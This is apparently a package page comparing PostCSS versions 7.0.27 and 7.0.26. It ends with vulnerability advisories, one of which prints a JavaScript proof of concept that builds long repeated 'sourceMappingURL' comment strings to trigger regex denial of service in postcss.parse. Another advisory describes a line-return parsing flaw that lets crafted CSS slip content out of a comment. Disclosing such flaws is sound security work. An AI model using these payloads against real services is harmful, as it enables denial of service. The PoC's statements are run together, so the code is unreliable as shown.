PostCSS version 7.0.27 is a patch release in the 7.x series, offering subtle improvements over the preceding version 7.0.26. Both versions serve as tools for transforming styles using JavaScript plugins, allowing developers to automate common CSS tasks and enhance their workflow. They share identical core dependencies: chalk for colorful console output, source-map for debugging, and supports-color for terminal color detection. The licensing and funding models remain the same, ensuring continued open-source accessibility and development support.
The key distinctions lie in the details of their distribution packages. Version 7.0.27 shows an increase in the fileCount (38 vs 35) and notably a significantly higher unpackedSize (1086215 bytes vs 600866 bytes). This suggests that 7.0.27 likely includes additional files, potentially related to documentation, tests, or minor feature enhancements within the plugin ecosystem. Developers considering upgrading should note the larger footprint, which could impact download and installation times, albeit marginally.
The release dates also reveal a chronological gap, with version 7.0.27 released in February 2020, roughly two months after version 7.0.26. This time gap likely encompassed bug fixes, dependency updates, or small feature additions which contributed to the incremented file count and size. As a patch release, 7.0.27 is generally recommended for users of the 7.x series, offering a stable and potentially improved development experience. Developers are encouraged to review the detailed changelog on the PostCSS GitHub repository for the precise details of these changes.
All the vulnerabilities related to the version 7.0.27 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.